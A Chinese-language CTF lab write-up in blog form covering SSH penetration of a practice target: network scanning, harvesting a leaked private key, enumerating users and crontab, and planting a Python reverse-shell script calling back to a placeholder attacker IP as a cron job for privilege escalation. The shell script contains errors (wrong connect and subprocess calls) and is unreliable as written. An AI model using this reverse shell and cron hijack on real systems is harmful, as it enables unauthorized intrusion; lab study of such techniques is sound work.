CTF—攻防练习之ssh服务渗透(反弹shell监听和暴力ssh破解)

环境搭好后先嗅探网络

netdiscover -r 10.212.63.127/24

 找到靶机

nmap扫一下端口

发现3个开发的端口,我们一个一个去看看
22端口我们想办法找到私钥或暴力破解创建ssh连接

80端口是个apache服务器 ,http协议
我们去看看有没有敏感信息,可以用nikto -host靶场ip 探测敏感信息
dirb http://10.212.63.150:80

好多文件,随便打开看看
打开flie文件

进入,em,有三个用户,记下来,是不是能通过用户进入到靶机呢

 

发现三个用户,martin出现了两次

martin
hadi
jmmy

再探其他目录,果然在icon目录下发现了私钥

那么下载下来,赋权
wget “”
chomd 600 xx
用私钥创建ssh连接

ssh -i id_rsa martin@192.168.56.101

没有密码,我们成功进入了Martin用户
可时发现没有权限,看下home文件确实时这三个用户

一般情况我们可以通过一下命令来查看一些信息

 

pwd
id          查看当前用户权限
cat /etc/passwd    查看所以用户列表
cat /etc/geroup    查看用户组
find / -user用户名   查看属于某些用户的文件
/tmp        查看缓冲文件目录

 

看了一圈,如果没有什么可利用信息,到这里我们就得想办法提权了,我们再去深入挖掘

例如通过查看 /etc/crontab 文件,查看其他用户是否有设定的系统定时任务,并查看对应对应任务内容,执行的任务肯定时对靶场机器的某个文件。

etc/crontab 文件是用来设定系统定期执行任务,需要root权限,不同用户都可以有不同定时任务

如果在 /etc/crontab 下有某个用户执行的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,netcat执行监听获得对应用户的权限

如果有定时执行任务的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限

执行 cat/etc/crontab

 

jimmy 用户 下有个5分钟执行一次的py文件,而且tmp目录下没有sekurity这个文件,我们就可以创建一个反弹shell脚本命名为sekurity.py文件,获取它的权限
然后 netcat命令
-- nc -lpv 未占用端口

查看未占用端口:
-- netstat -pantu

先查看ssh占用端口,再启用监听4445端口:


再启用反弹shell脚本:
代码如下:

1 import os,subprocess,socket
2 
3 s=socket.socket()
4 s.connect("攻击机ip地址","攻击机监听端口")
5 os.dup2(s.fileno(),0)
6 os.dup2(s.fileno(),1)
7 os.dup2(s.fileno(),2)
8 p=subprocess(["/bin/sh","-i "])

我们再将本地kali写好的脚本利用ssh scp上传到靶机tmp目录
scp -i id_rsa ~/ctf/a.py martin@192.168.56.101:/tmp

上传过去看一下

再将a.py改名成sekurity.py,再赋权chmod +x 

 

posted @ 2020-05-29 00:05  Wings_shadow  阅读(1981)  评论(0编辑  收藏  举报